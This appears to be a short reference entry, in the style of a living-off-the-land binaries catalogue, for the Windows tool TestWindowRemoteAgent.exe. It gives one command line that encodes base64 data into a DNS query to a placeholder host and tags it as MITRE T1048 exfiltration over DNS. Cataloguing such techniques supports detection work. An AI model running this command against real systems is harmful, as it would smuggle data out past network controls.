TestWindowRemoteAgent.exe

TestWindowRemoteAgent.exe is the command-line tool to establish RPC

Upload

Attackers may utilize this to exfiltrate data over DNS

TestWindowRemoteAgent.exe start -h {your-base64-data}.example.com -p 8000

Sends DNS query for open connection to any host, enabling exfiltration over DNS — MITRE: T1048 — Privileges: User